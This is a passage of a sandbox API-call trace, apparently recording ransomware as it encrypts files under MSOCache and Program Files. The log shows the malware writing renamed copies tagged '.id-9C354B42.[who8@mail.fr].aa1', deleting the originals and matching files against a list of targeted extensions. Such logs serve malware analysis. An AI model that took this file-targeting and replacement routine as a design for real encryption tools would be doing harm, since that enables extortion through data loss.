dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0202.751] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0202.751] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0202.751] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0202.751] GetLastError () returned 0x0 [0202.751] ReadFile (in: hFile=0x1b0, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x2213, lpOverlapped=0x0) returned 1 [0202.771] WriteFile (in: hFile=0x178, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x2220, lpOverlapped=0x0) returned 1 [0202.772] ReadFile (in: hFile=0x1b0, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0202.772] WriteFile (in: hFile=0x178, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0202.772] SetEndOfFile (hFile=0x178) returned 1 [0202.772] CloseHandle (hObject=0x178) returned 1 [0202.778] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0202.778] SetEndOfFile (hFile=0x1b0) returned 1 [0202.779] CloseHandle (hObject=0x1b0) returned 1 [0202.780] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0202.781] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 1 [0202.781] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0202.781] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0202.781] lstrlenW (lpString=".doc") returned 4 [0202.781] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0202.781] lstrlenW (lpString=".docx") returned 5 [0202.781] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0202.781] lstrlenW (lpString=".pdf") returned 4 [0202.781] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0202.781] lstrlenW (lpString=".xls") returned 4 [0202.781] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0202.781] lstrlenW (lpString=".xlsx") returned 5 [0202.781] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0202.781] lstrlenW (lpString=".ppt") returned 4 [0202.782] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0202.782] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0202.782] lstrlenW (lpString=".zip") returned 4 [0202.782] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0202.782] lstrlenW (lpString=".rar") returned 4 [0202.782] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0202.782] lstrlenW (lpString=".bz2") returned 4 [0202.782] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0202.782] lstrlenW (lpString=".7z") returned 3 [0202.782] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0202.782] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0202.782] lstrlenW (lpString=".dbf") returned 4 [0202.782] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0202.782] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0202.782] lstrlenW (lpString=".1cd") returned 4 [0202.782] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0202.782] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0202.782] lstrlenW (lpString=".jpg") returned 4 [0202.782] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0202.783] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0202.783] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0202.783] lstrlenW (lpString=".doc") returned 4 [0202.783] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0202.783] lstrlenW (lpString=".docx") returned 5 [0202.783] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0202.783] lstrlenW (lpString=".pdf") returned 4 [0202.783] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0202.783] lstrlenW (lpString=".xls") returned 4 [0202.783] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0202.783] lstrlenW (lpString=".xlsx") returned 5 [0202.783] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0202.783] lstrlenW (lpString=".ppt") returned 4 [0202.783] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0202.783] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0202.783] lstrlenW (lpString=".zip") returned 4 [0202.783] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0202.783] lstrlenW (lpString=".rar") returned 4 [0202.783] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0202.783] lstrlenW (lpString=".bz2") returned 4 [0202.784] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0202.784] lstrlenW (lpString=".7z") returned 3 [0202.784] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0202.784] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0202.784] lstrlenW (lpString=".dbf") returned 4 [0202.784] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0202.784] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0202.784] lstrlenW (lpString=".1cd") returned 4 [0202.784] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0202.784] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0202.784] lstrlenW (lpString=".jpg") returned 4 [0202.784] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0202.784] lstrcmpiW (lpString1=".JPG", lpString2=".aa1") returned 1 [0202.784] lstrlenW (lpString="MS.JPG") returned 6 [0202.784] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0202.785] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=1061) returned 1 [0202.785] CloseHandle (hObject=0x1b0) returned 1 [0202.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 0x20 [0202.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0202.786] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0202.786] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0202.786] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0202.786] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0202.786] GetLastError () returned 0x0 [0202.786] ReadFile (in: hFile=0x1b0, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x425, lpOverlapped=0x0) returned 1 [0202.806] WriteFile (in: hFile=0x178, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x430, lpOverlapped=0x0) returned 1 [0202.807] ReadFile (in: hFile=0x1b0, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0202.807] WriteFile (in: hFile=0x178, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0202.807] SetEndOfFile (hFile=0x178) returned 1 [0202.807] CloseHandle (hObject=0x178) returned 1 [0202.808] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0202.808] SetEndOfFile (hFile=0x1b0) returned 1 [0202.810] CloseHandle (hObject=0x1b0) returned 1 [0202.811] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0202.811] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 1 [0202.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0202.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0202.811] lstrlenW (lpString=".doc") returned 4 [0202.812] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0202.812] lstrlenW (lpString=".docx") returned 5 [0202.812] lstrcmpiW (lpString1=".docx", lpString2="S.JPG") returned -1 [0202.812] lstrlenW (lpString=".pdf") returned 4 [0202.812] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0202.812] lstrlenW (lpString=".xls") returned 4 [0202.812] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0202.812] lstrlenW (lpString=".xlsx") returned 5 [0202.812] lstrcmpiW (lpString1=".xlsx", lpString2="S.JPG") returned -1 [0202.812] lstrlenW (lpString=".ppt") returned 4 [0202.812] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0202.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0202.812] lstrlenW (lpString=".zip") returned 4 [0202.812] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0202.812] lstrlenW (lpString=".rar") returned 4 [0202.812] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0202.812] lstrlenW (lpString=".bz2") returned 4 [0202.812] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0202.812] lstrlenW (lpString=".7z") returned 3 [0202.812] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0202.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0202.813] lstrlenW (lpString=".dbf") returned 4 [0202.813] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0202.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0202.813] lstrlenW (lpString=".1cd") returned 4 [0202.813] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0202.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0202.813] lstrlenW (lpString=".jpg") returned 4 [0202.813] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0202.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0202.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0202.814] lstrlenW (lpString=".doc") returned 4 [0202.814] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0202.814] lstrlenW (lpString=".docx") returned 5 [0202.814] lstrcmpiW (lpString1=".docx", lpString2="S.JPG") returned -1 [0202.814] lstrlenW (lpString=".pdf") returned 4 [0202.814] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0202.814] lstrlenW (lpString=".xls") returned 4 [0202.814] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0202.814] lstrlenW (lpString=".xlsx") returned 5 [0202.814] lstrcmpiW (lpString1=".xlsx", lpString2="S.JPG") returned -1 [0202.814] lstrlenW (lpString=".ppt") returned 4 [0202.814] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0202.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0202.815] lstrlenW (lpString=".zip") returned 4 [0202.815] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0202.815] lstrlenW (lpString=".rar") returned 4 [0202.815] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0202.815] lstrlenW (lpString=".bz2") returned 4 [0202.815] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0202.815] lstrlenW (lpString=".7z") returned 3 [0202.815] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0202.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0202.815] lstrlenW (lpString=".dbf") returned 4 [0202.815] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0202.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0202.816] lstrlenW (lpString=".1cd") returned 4 [0202.816] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0202.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0202.816] lstrlenW (lpString=".jpg") returned 4 [0202.816] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0202.816] lstrcmpiW (lpString1=".PNG", lpString2=".aa1") returned 1 [0202.816] lstrlenW (lpString="MS.PNG") returned 6 [0202.816] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0202.817] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=1682) returned 1 [0202.817] CloseHandle (hObject=0x1b0) returned 1 [0202.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 0x20 [0202.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0202.818] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0202.818] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0202.818] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0202.818] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0202.818] GetLastError () returned 0x0 [0202.818] ReadFile (in: hFile=0x1b0, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x692, lpOverlapped=0x0) returned 1 [0202.841] WriteFile (in: hFile=0x178, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x6a0, lpOverlapped=0x0) returned 1 [0202.842] ReadFile (in: hFile=0x1b0, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0202.842] WriteFile (in: hFile=0x178, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0202.842] SetEndOfFile (hFile=0x178) returned 1 [0202.842] CloseHandle (hObject=0x178) returned 1 [0202.843] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0202.843] SetEndOfFile (hFile=0x1b0) returned 1 [0202.844] CloseHandle (hObject=0x1b0) returned 1 [0202.844] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0202.845] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 1 [0202.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0202.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0202.845] lstrlenW (lpString=".doc") returned 4 [0202.845] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0202.845] lstrlenW (lpString=".docx") returned 5 [0202.845] lstrcmpiW (lpString1=".docx", lpString2="S.PNG") returned -1 [0202.846] lstrlenW (lpString=".pdf") returned 4 [0202.846] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0202.846] lstrlenW (lpString=".xls") returned 4 [0202.846] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0202.846] lstrlenW (lpString=".xlsx") returned 5 [0202.846] lstrcmpiW (lpString1=".xlsx", lpString2="S.PNG") returned -1 [0202.846] lstrlenW (lpString=".ppt") returned 4 [0202.846] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0202.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0202.846] lstrlenW (lpString=".zip") returned 4 [0202.846] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0202.846] lstrlenW (lpString=".rar") returned 4 [0202.846] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0202.846] lstrlenW (lpString=".bz2") returned 4 [0202.846] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0202.846] lstrlenW (lpString=".7z") returned 3 [0202.846] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0202.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0202.846] lstrlenW (lpString=".dbf") returned 4 [0202.846] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0202.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0202.846] lstrlenW (lpString=".1cd") returned 4 [0202.847] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0202.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0202.847] lstrlenW (lpString=".jpg") returned 4 [0202.847] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0202.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0202.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0202.847] lstrlenW (lpString=".doc") returned 4 [0202.847] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0202.847] lstrlenW (lpString=".docx") returned 5 [0202.847] lstrcmpiW (lpString1=".docx", lpString2="S.PNG") returned -1 [0202.847] lstrlenW (lpString=".pdf") returned 4 [0202.847] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0202.847] lstrlenW (lpString=".xls") returned 4 [0202.847] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0202.847] lstrlenW (lpString=".xlsx") returned 5 [0202.847] lstrcmpiW (lpString1=".xlsx", lpString2="S.PNG") returned -1 [0202.847] lstrlenW (lpString=".ppt") returned 4 [0202.847] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0202.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0202.848] lstrlenW (lpString=".zip") returned 4 [0202.848] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0202.848] lstrlenW (lpString=".rar") returned 4 [0202.848] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0202.848] lstrlenW (lpString=".bz2") returned 4 [0202.848] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0202.848] lstrlenW (lpString=".7z") returned 3 [0202.848] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0202.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0202.848] lstrlenW (lpString=".dbf") returned 4 [0202.848] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0202.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0202.848] lstrlenW (lpString=".1cd") returned 4 [0202.848] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0202.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0202.848] lstrlenW (lpString=".jpg") returned 4 [0202.848] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0202.849] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0202.849] lstrlenW (lpString="Content.xml") returned 11 [0202.849] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0203.478] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=27045) returned 1 [0203.478] CloseHandle (hObject=0x184) returned 1 [0203.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0203.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0203.478] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0203.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0203.478] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0203.478] lstrlenW (lpString=".doc") returned 4 [0203.479] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0203.479] lstrlenW (lpString=".docx") returned 5 [0203.479] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0203.479] lstrlenW (lpString=".pdf") returned 4 [0203.479] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0203.479] lstrlenW (lpString=".xls") returned 4 [0203.479] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0203.479] lstrlenW (lpString=".xlsx") returned 5 [0203.479] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0203.479] lstrlenW 